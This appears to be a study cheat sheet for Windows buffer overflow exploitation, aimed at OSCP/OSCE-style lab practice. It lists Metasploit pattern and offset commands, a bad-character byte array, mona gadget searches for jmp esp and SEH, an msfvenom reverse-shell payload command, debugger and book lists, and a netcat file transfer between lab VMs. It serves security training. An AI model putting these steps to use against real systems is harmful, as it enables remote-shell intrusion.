Tutorials / Methodologies

msf-pattern_create -l $length
msf-pattern_offset -l $length -q $EIP

import sys
badchars = ""
for x in range(1,256):
    # sys.stdout.write("\\x" + '{:02x}'.format(x))
    badchars += "\\x" + '{:02x}'.format(x)

badchars = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff") 

# keep the same order of outputs
msf-nasm_shell
   nasm > jmp esp
   00000000  FFE4              jmp esp

# select a dll module
!mona modules
# find address of "jmp esp"
!mona find -s "\xff\xe4" -m "libspp.dll"
# find "pop,pop,ret" for SEH
!mona seh -m "$module"

# generate Windows reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=$IP LPORT=$PORT -f c -e x86/shikata_ga_nai -b "\x00"

Tools

  • Immunity Debugger: A powerful new way to write exploits, analyze malware, and reverse engineer binary files (whitepaper, course)

  • OllyDbg: A 32-bit assembler level analysing debugger for Microsoft Windows (tut)

  • Windbg: A kernel-mode and user-mode debugger that is included in Debugging Tools for Windows (tut)

  • edb: A Linux equivalent of the famous Olly debugger on the Windows platform.

  • Boofuzz: Network Protocol Fuzzing for Humans

  • mona: A Python script that can be used to automate and speed up specific searches while developing exploits (typically for the Windows platform) (tut, cheatsheet)

    !mona findmsp
    !mona modules [ -o ]: (-o: only in the application which is more reliable)
    !mona jmp -r esp [ -o ] 
    !mona seh       
    !mona seh -m -o
    !mona bytearray -cpb "\x00"
    !mona compare -f c:\mona\pcmanftpd2\bytearray.bin -a 0012ED6C
    !mona find -s "\xff\xe4" -m "libspp.dll"
    !mona findmsp
    
  • WinDBG: A kernel-mode and user-mode debugger that is included in Debugging Tools for Windows

Exploitation for Practice

Structured Exception Handler (SEH)

More Targets

Advanced Topics for OSCE

Books

  • Hacking - The Art of Exploitation
  • The Shellcoder’s Handbook: Discovering and Exploiting Security Holes
  • Buffer Overflow Attacks: Detect, Exploit, Prevent
  • Writing Security Tools and Exploits
  • Penetration Testing with Shellcode: Detect, exploit, and secure network-level and operating system vulnerabilities
# From Kali, run first
~/OSCP/windows_buffer_overflows$ nc -l -p 1234 > VulnApp1.exe
# From Windows
C:\Tools\windows_buffer_overflows> nc -w 3 192.168.119.223 1234 < VulnApp1.exe

# Windows 10: Bridged Adapter network
# Kali: NAT network
  • Download windows 10 x86 ISO: https://www.microsoft.com/en-gb/software-download/windows10ISO